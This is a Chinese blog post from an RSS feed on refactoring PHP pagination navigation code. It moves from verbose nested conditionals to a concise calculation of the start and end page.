<h2>分页函数</h2>
<p>　　首先回顾一下分页函数的输入与输出。我们拿一个较简单的模型来做说明。</p>
<p>　　函数输入：</p>
<ol>
<blockquote>
<li>记录总数</li>
<li>每页记录数</li>
<li>当前页数</li>
</blockquote>
</ol>
<p>　　函数输出</p>
<ol>
<blockquote>
<li>偏移量$offset、记录数$limit（在MySQL中执行LIMIT $limit OFFSET $offset）</li>
<li>总页数$total_pages</li>
<li>上一页$previous_page</li>
<li>当前页$current_page</li>
<li>下一页$next_page</li>
</blockquote>
</ol>
<h2>分页导航栏</h2>
<p> 　　今天，我让一同事根据以上效果，开发一个分页导航，满足以下要求：</p>
<ol>
<blockquote>
<li>显示离当前页最近的5页，包括当前页</li>
<li>不足5页时，尽可能多的显示</li>
</blockquote>
</ol>
<p><img title="分页效果" src="http://jiy.hu/wp-content/uploads/2010/02/pagination.jpg" alt="" /></p>
<p>　　举个几个例子：</p>
<ul>
<li>总页数为５，当前页为１～５任意一页，分页导航显示：１　２　３　４　５</li>
<li>总页数为６，当前页为５，分页导航显示：２　３　４　５　６</li>
<li>总页数为１００，当前页为５０，分页导航显示：４８　４９　５０　５１　５２</li>
</ul>
<p>　　同事看了这个要求，立马写了以下代码：</p>
<pre class="brush: php">&lt;?php if ($total_pages &lt;= 5) :?&gt;
    &lt;?php for($i=1; $i&lt;=$total_pages; $i++) :?&gt;
        &lt;?php if($i == $current_page) :?&gt;
            &lt;a class='selected'&gt;&lt;?php echo $i; ?&gt;&lt;/a&gt;&amp;nbsp;
        &lt;?php else :?&gt;
            &lt;a href="&lt;?php echo $page-&gt;url($i); ?&gt;"&gt;&lt;?php echo $i; ?&gt;&lt;/a&gt;&amp;nbsp;
        &lt;?php endif;?&gt;
    &lt;?php endfor;?&gt;
&lt;?php else :?&gt;
    &lt;?php if($current_page &lt;= 3) :?&gt;
        &lt;?php for($i=1; $i&lt;=5; $i++) :?&gt;
            &lt;?php if($i == $current_page) :?&gt;
                &lt;a class='selected'&gt;&lt;?php echo $i; ?&gt;&lt;/a&gt;&amp;nbsp;
            &lt;?php else :?&gt;
                &lt;a href="&lt;?php echo $page-&gt;url($i); ?&gt;"&gt;&lt;?php echo $i; ?&gt;&lt;/a&gt;&amp;nbsp;
            &lt;?php endif;?&gt;
        &lt;?php endfor;?&gt;
    &lt;?php elseif($current_page+3 &gt; $total_pages) :?&gt;
        &lt;?php for($i=$total_pages-4; $i&lt;=$total_pages; $i++) :?&gt;
            &lt;?php if($i == $current_page) :?&gt;
                &lt;a class='selected'&gt;&lt;?php echo $i; ?&gt;&lt;/a&gt;&amp;nbsp;
            &lt;?php else :?&gt;
                &lt;a href="&lt;?php echo $page-&gt;url($i); ?&gt;"&gt;&lt;?php echo $i; ?&gt;&lt;/a&gt;&amp;nbsp;
            &lt;?php endif;?&gt;
        &lt;?php endfor;?&gt;
    &lt;?php else :?&gt;
        &lt;?php for($i=$current_page-2; $i&lt;=$current_page+2; $i++) :?&gt;
            &lt;?php if($i == $current_page) :?&gt;
                &lt;a class='selected'&gt;&lt;?php echo $i; ?&gt;&lt;/a&gt;&amp;nbsp;
            &lt;?php else :?&gt;
                &lt;a href="&lt;?php echo $page-&gt;url($i); ?&gt;"&gt;&lt;?php echo $i; ?&gt;&lt;/a&gt;&amp;nbsp;
            &lt;?php endif;?&gt;
        &lt;?php endfor;?&gt;
    &lt;?php endif;?&gt;
&lt;?php endif; ?&gt;</pre>
<p>　　代码（很可能）满足了要求，但逻辑太多，很容易出错，因此，我建议：</p>
<ol>
<blockquote>
<li>分页导航分为两个部分：确定页数、显示页数</li>
<li>首先根据分页函数的结果，将应当显示的页码按顺序放入一数组</li>
<li>从数组中读出页数，一一加以处理和显示</li>
</blockquote>
</ol>
<p>　　我告诉他这样的好处：</p>
<ol>
<blockquote>
<li>代码职责分离，容易排错</li>
<li>代码较精简，重复代码少</li>
</blockquote>
</ol>
<p>　　听了我的建议，他立马修改了代码：</p>
<pre class="brush: php">&lt;?php
    if($total_pages &lt;= 5)
    {
        $begin = 1;
        $end = $total_pages;
    }
    else
    {
        if ($current_page &lt;= 3)
        {
            $begin = 1;
            $end = 5;
        }
        elseif($current_page+3 &gt; $total_pages)
        {
            $begin = $total_pages-4;
            $end = $total_pages;
        }
        else
        {
            $begin = $current_page-2;
            $end = $current_page+2;
        }
    }
?&gt;
&lt;?php for($i=$begin; $i&lt;=$end; $i++) :?&gt;
    &lt;?php if($i == $current_page) :?&gt;
        &lt;a class='selected'&gt;&lt;?php echo $i; ?&gt;&lt;/a&gt;&amp;nbsp;
    &lt;?php else :?&gt;
        &lt;a href="&lt;?php echo $page-&gt;url($i); ?&gt;"&gt;&lt;?php echo $i; ?&gt;&lt;/a&gt;&amp;nbsp;
    &lt;?php endif;?&gt;
&lt;?php endfor;?&gt;</pre>
<p>　　粗看了一下，对布局挺满意。由于页码是连续的，给定起始页和终止页，就可以把分页导航定下来了。</p>
<p>　　但是复杂的逻辑代码仍然不让人满意。于是我写了以下代码给他：</p>
<pre class="brush:php">&lt;?php
    $begin = $current_page-2&gt;1 ? $current_page-2 : 1;
    $end = $begin+4&gt;$total_pages ? $total_pages : $begin+4;
?&gt;</pre>
<p>　　根据我的思想，最终，他用如下的代码，完成了上述功能：</p>
<pre class="brush:php">&lt;?php
    $begin = $current_page-2 &gt; 1 ? $current_page-2 : 1;
    $end = $begin+4 &gt; $total_pages ? $total_pages : $begin+4;
    $begin = $end - 4 &lt; 1 ? 1 : $end - 4;
?&gt;
&lt;?php for($i=$begin; $i&lt;=$end; $i++) :?&gt;
    &lt;?php if($i == $current_page) :?&gt;
        &lt;a class='selected'&gt;&lt;?php echo $i; ?&gt;&lt;/a&gt;&amp;nbsp;
    &lt;?php else :?&gt;
        &lt;a href="&lt;?php echo $page-&gt;url($i); ?&gt;"&gt;&lt;?php echo $i; ?&gt;&lt;/a&gt;&amp;nbsp;
    &lt;?php endif;?&gt;
&lt;?php endfor;?&gt;</pre>
<h2>代码优化之我见</h2>
<p>　　点击查看相关文章《<a href="http://jiy.hu/code-optimizer">代码优化之我见</a>》</p>
<hr />
<p><small>© Hackfan for <a href="http://jiy.hu">一客盒饭</a>, 2010. |
<a href="http://jiy.hu/code-optimizer-pagination">代码优化之分页输出</a> |
<a href="http://jiy.hu/code-optimizer-pagination#comments">无评论</a>
<br/>
标签: <a href="http://jiy.hu/tag/php" rel="tag">PHP</a>, <a href="http://jiy.hu/tag/sql" rel="tag">SQL</a>, <a href="http://jiy.hu/tag/%e4%bb%a3%e7%a0%81%e4%bc%98%e5%8c%96" rel="tag">代码优化</a>, <a href="http://jiy.hu/tag/%e4%bb%a3%e7%a0%81%e7%bb%93%e6%9e%84" rel="tag">代码结构</a>, <a href="http://jiy.hu/tag/%e5%88%86%e9%a1%b5" rel="tag">分页</a>, <a href="http://jiy.hu/tag/%e6%9e%b6%e6%9e%84" rel="tag">架构</a>, <a href="http://jiy.hu/tag/%e7%bb%93%e6%9e%84%e8%ae%be%e8%ae%a1" rel="tag">结构设计</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://jiy.hu/code-optimizer-pagination/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
